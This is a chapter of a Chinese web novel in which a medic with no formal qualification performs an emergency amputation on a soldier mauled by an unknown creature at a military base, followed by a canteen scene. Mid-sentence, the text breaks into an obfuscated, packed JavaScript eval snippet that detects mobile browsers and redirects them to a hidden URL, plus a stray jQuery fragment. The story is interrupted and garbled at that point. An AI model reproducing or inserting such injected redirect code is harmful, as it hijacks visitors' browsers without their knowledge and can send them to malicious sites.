9. 我相信她能够胜任
作品:《悬崖之下》 岑舟见过各式各样战争导致的伤口,刀伤、枪伤、炮弹轰炸伤,许多时候甚至能通过伤口形状判断出武器型号。
这些伤员不像是被武器所伤,更不可能是塌方被压伤,在她看来,倒像是被野兽撕咬所伤。
可皎山基地早在两年前就开始开发,野兽必定第一时间就被清理,怎么会到现在才发生伤人事件?更何况军队的热武器不是吃素的,野兽哪里是对手。
岑舟一边穿上防护服,一边固执地看着戚逢,等他给出答案。
半晌,戚逢露出无奈神色,坦诚说:“这件事不方便告诉你。”
按照他的性子能给一个回应已经算是难得,既然不便告知她,她也不再逼问。
争分夺秒地换好防护服,带上急救箱,两人从更衣间出来。
有了刚才的冲击,再次直面残酷的现状时心态稳定了一些。
“511缺人手,我们过去增援。”
“好。”
戚逢在前带路,岑舟紧随其后。
穿过走廊通道时,她忽然裤腿一紧,脚下被绊住。
“医生,医生,救救我,救命!......”
说话的人声音嘶哑,不复先前尖叫时的高亢。
挡在通道中间的那个人,最终还是被挪到了路边上。
“刚才那几个人毛手毛脚,叫他们不要碰我,偏不听,硬是把我搬过来,害死我了!”他呜呜哭起来,灰紫的面庞上眼泪鼻涕糊成一团,"医生,你帮我看看我的肾脏掉出来没有?"
岑舟看向戚逢,他偏开了脸,下颌紧紧绷着。
她在伤员面前蹲下来,温声说:“我看看。”
“嗯,好,谢谢医生。”他眼里亮起希望的光,又因困倦慢慢暗淡,“他们一开始打算把我留在洞里,说我的肚子烂了,肾都要掉了,肯定救不活,我求了半天才有人愿意把我带出来。我都挺到医院来了,我肯定能活......”
他嘴里碎碎说着,声音越来越低。
岑舟清了清酸涩的眼睛,又说:“你困不困?可以先睡一会儿。”
“困呐,困得眼皮都打架了。那我睡一会儿,医生,记得叫醒我。”
“......”岑舟说不出欺骗的话。
她守在他身边,等着他慢慢闭上眼睛。
半分钟后,呼吸停止。
走廊拐角处放着一台共用办公电脑,屏幕界面停留在军人管理系统。
戚逢点开系统,输入一串编号,弹出一位士兵的个人信息:
姓名:卓康安
年龄:22
户籍:......
状态:空
他敲下键盘做出修改:
状态:死亡
操作人:戚逢
“会有人来处理,我们先过去。”
岑舟低头默哀几秒,迅速整理情绪,站起身时已经恢复了平静:“走吧。”
路过电梯间时,门刚好打开,又是一批士兵推着伤员出来,在清一色军装中,穿着常服的人尤为显眼。
岑舟一眼看到了凌戈,视线追了一追。
她换了防护服,和这里的医护作相同装扮,凌戈没有注意到她,肃着脸朝更衣室方向去。
她也是来参与救援的。
她到底是什么身份?
岑舟狐疑地看向戚逢,那天她发现了象牙,戚逢找凌戈判断是否为异常情况,后来林长旭又把她单独叫去帐篷,想必他们两个知情。
她的视线存在感极强,想忽略都忽略不了,戚逢无奈地眯了下眼睛,又重复那句话:“不方便告诉你。”
岑舟平移回视线,面无表情地“哦”一声。
511靠近走廊尽头,原本是一间重量训练室,眼下器材设备全部被挪到房间后方,前面空出大片场地,铺上垫子安置伤员。
房间里有十多名伤员亟待治疗,多是大面积开放性伤口,十分耗时耗力,但总共只有一名医生两名护士在,三人忙得团团转。
戚逢带岑舟上前打招呼:“宋医生,我和队员岑舟前来协助,需要我们做什么?”
宋医生满脸焦色,她手头上的伤员腹部缺了巴掌大一块肉,大肠流出,只能塞回去后用敷料打补丁。
她听见戚逢的声音,手上动作一刻没停:“戚队长,靠窗那一排伤员还没来得及处理。”
“明白。”
靠窗一侧躺了七八名伤员,相较之下,伤情轻者只是骨折,不能挪动,但精神尚可,而伤情重者已经因失血过多陷入昏迷。
两人考虑了轻重缓急,优先处理有生命危险的伤者。
岑舟在一名昏迷的男子面前蹲下,他的军装被撕得七零八碎,上身数道深可见骨的抓痕,左腿骨自膝盖之上折断,大腿与小腿之间只剩一层皮肉连接,小腿肚扭曲地翻转朝上。
伤口流出的血将他身下的垫子浸透,又漫到地板上。
岑舟检查了他的身体,当机立断,对戚逢道:“副队,这名伤员需要截肢。”
戚逢在她隔壁给一位伤员包扎腹部,闻言朝宋医生的方向看过去,眉头皱得更紧:“宋医生走不开,你先简单处理。”
“不能再等了,他失血过多,会有性命危险。”
戚逢迅速将手中绷带打了结,过来在她身旁蹲下查看伤员身体,情况确实不容乐观。
岑舟问:“宋医生抽不出身,能不能求助别的医生?”
“悬崖下总共才五十多名医护,另外两个基地的支援人员还在途中,目前单送来胥坪基地的伤员已超过两百人,如果不是人手急缺,也不会发通知向非专业人员求助。”
“那……”岑舟看着伤员苍白发灰的脸,一咬牙,“那我试试吧?”
“你会做截肢手术?”
“我没有主刀经验,但做过助手。”岑舟将伤者腿伤位置的布料剥开,“他的腿骨已经完全断了,只有一小部分肌肉连着,手术难度相对较低。”
“你有多大把握?”
“……”岑舟微怔,她不是专业医生,没有精准的风险判断能力,不过是苦于当下没有人手,将就着顶上来罢了。
这话说出来,她就要承担相应的医疗责任。
最聪明的做法是明哲保身,不给自己揽麻烦。
但……有的人内脏破碎,靠求生意志撑到医院却无力回天,而这是一条经过救治就拥有存活机会的生命。
“大概……”
话刚出口,一只手落在她肩膀上,微微施力,拦住她接下来的话。
戚逢看着她:“你先做准备,我马上过来协助。”
他从511出来,去到走廊尽头的窗边,打开通讯器拨通皎山基地地下开荒总队长肖平的号码。
“哪位?”对面背景嘈杂,肖平语气焦躁。
“肖总队,我是戚逢。”
“戚队长?你怎么联系我?”
“你们有位伤员,姓名董江,编号70568,被转送到胥坪基地接受治疗,他腿伤严重,需要尽快做截肢手术。基地医护人手不够,只有一名合同工能够主刀,特向你报备情况。”
“她有没有从医资格?”
“……没有。”
“董江怎么说?”
“他已经陷入昏迷,无法表态。”
“那不行啊,这么重要的手术怎么能放心交给非专业人士来做,对我们的伤员极其不负责任。”
“再拖下去,董江轻则整条腿截肢,重则丧命。”
沉寂片刻,肖平严声道:“情况实在紧急,我可以同意非专业人士为董江做截肢手术。但你要明白,我们只接受合理范围内的风险,如果因为主刀者能力问题导致伤员受到不应有的损害,需要有人为此担责。戚队长,你推荐她给董江做手术,确信她能够胜任吗?”
戚逢手指微蜷,回头看了一眼511,并没有看见岑舟的身影。
“我相信她能够胜任。我愿意为推荐她主刀一事承担责任。”
……
511没有无菌环境,岑舟用酒精将手术工具仔仔细细擦了一遍,又给董江清理伤周。
戚逢回来的时候,她举起一只沾了浅黄色黏液、散发酸臭的棉签,自然而然地说:“你看,这应该是攻击者留下的口腔组织,能不能拿去实验室化验,确认是什么东西伤的人?”
“会有专门的人去做。”
基地实验室拿到的第一份异形物组织样本,就是从他身上的伤口提取的。
这话在岑舟听来是让她不用闲操心,她点点头,将手术用品又检查一遍,深吸一口气,郑重宣布:“那我们开始吧。”
截肢手术持续了一个小时,一开始岑舟还有些生疏拘谨,到后来放开手脚,熟练地切断残余的神经和血管,处理损伤肌肉与软组织,止血、上药、包扎,冷静又专注。
戚逢从旁给她递用具以及擦汗,在她不曾注意的时刻,他眼中一次次流露诧异的情绪。
剪断纱布的那一刻,岑舟又郑重宣布:“手术结束。”
戚逢也松了口气,低声说:“辛苦。”
岑舟一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114188|164150||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边收纳用具,一边说:“持续观察伤者情况,谨防出血和感染,等麻药过去,询问伤者感受,如果疼痛剧烈,考虑使用止痛药剂……”
她忽然一顿,转头看向身边的人,戚逢正用一种探究的眼神看着她,说不上不友好,但让她有些不自在。
她刚才说的那些话都是以前的医生师傅交代她做的,她习惯性就说给了戚逢听,后知后觉不大对劲。
她掩饰性地转了一下僵硬的脖颈,岔开话题:“我们先去给自己清理消毒,再去处理其他伤患,以免交叉感染。”
处理完511的伤员后,岑舟和戚逢又去其他房间帮忙,等三号楼的所有伤患处理完已经过了下午四点。
戚逢临时被叫走,岑舟一个人去更衣室脱了防护服,出来时有工作人员背着水箱在走廊喷洒消毒剂。
高强度工作时全神贯注,一等空闲,疲累和饥饿山倒般压下来,抽空人的精气神。
但戚逢不在,她也不好一声不响擅自离开。
房间都成了临时病房,走廊也没歇脚的地方,想了想,她去了楼梯间。
临近黄昏,阳光呈柔和的暖黄色,透过窗户玻璃在阶梯上落下斜斜一方的亮光。
岑舟在靠近窗户的位置坐下,半边身体懒散靠着墙。
窗外的建筑低矮,并不遮挡视野,远处是墨绿色的山林。空中的云被染成浅橙色,一朵累着一朵,蓬松又柔软,边缘线条如工笔勾勒般清晰,又在不知不觉中变换了形状……
岑舟睁眼时视线有些模糊不清,她使劲眨了眨,明明记得窗外有一堆厚厚的云层,不过瞬息的时间,就像融化了一般,只剩浅浅一滩残迹。
“你刚才睡着了。”身边响起一道清朗男声。
她恍惚转过头,看见了戚逢的侧脸。
他换下了防护服,军装外套搭在臂弯,衬衫扣子散了一颗,露出两截平直的锁骨。
窗外的余晖将他的睫毛染成浅金色,眨动时闪烁着细小的光点,一扇一扇,像有柔软的绒毛拂过。
在她混沌的视线里,那道浓眉微微拢起,戚逢转过脸,沉着眼,唇抿成一条线。
“看什么?”
熟悉的质问带来不好的回忆,岑舟身上一凛,瞬间意识归位,收敛了过于嚣张的目光。
她搓了一把脸,声音带着刚睡醒的微哑:“我睡了多久?”
“一刻钟。”
“哦。事情处理完了吗?”
“紧急的事情告一段落。”
“那就是伤员都处理好了。”岑舟顿了顿,有些卑微地问,“我饿了,可以让我去吃饭吗?”
戚逢松开眉,说:“还没到晚餐时间。”
合同工的用餐时间在下午六点到七点之间。
岑舟苦恼地抓了一下头发:“那我先去便利店买点东西垫垫。”
戚逢未置可否,站起身说:“走吧。”
岑舟第一次越过门禁进到军人的活动区域,对里面的布局不大熟悉,跟着戚逢走了一路,看到眼熟的建筑时才惊觉他带她来了食堂。
胥坪基地共有三所食堂,他们来的二号食堂刚好位于两方区域的交界位置,设置了南北两扇门,非编内人员只能从南门进出,并且只能在一楼用餐,而军方的人不设限制。
戚逢泰然带着岑舟踏进军人专用的北门,她欲言又止,还是跟着走了。
一路上零星遇到几个军人,皆用不赞成的眼神注视他们两人。
等戚逢又意图带她上二楼时,强烈的秩序感使岑舟不得不提出异议:“我们合同工不可以去二楼。”
戚逢停下脚步,侧转回身,凸起的肩胛骨顶着衬衫布料。
“这个时间点只有军人食堂能提供餐食。情况特殊,有问题我会负责。”
岑舟摇头:“还是算了。”
戚逢现在的处境貌似并不算好,她不想给他添麻烦,也不想自己像异类一样被二楼的用餐军人以及工作人员打量。
意外地,戚逢没有不耐烦:“你先在一楼找位置坐着。”
他说完便提步上楼,不给她拒绝的机会。
岑舟在原地站了会儿,搓了搓手,期待地笑出来。
距离开饭时间还有一个多小时,一楼大厅只零散坐了几个人,她找了个显眼的位置坐下,撑着脸等戚逢下来。
饥饿感让时间流速变慢,明明五分钟不到,岑舟却觉熬了好长一段时间。
听见戚逢的脚步声时,她开心起身去接,却猝不及防对上他阴沉的双眼,一时间错愕,笑容僵在脸上。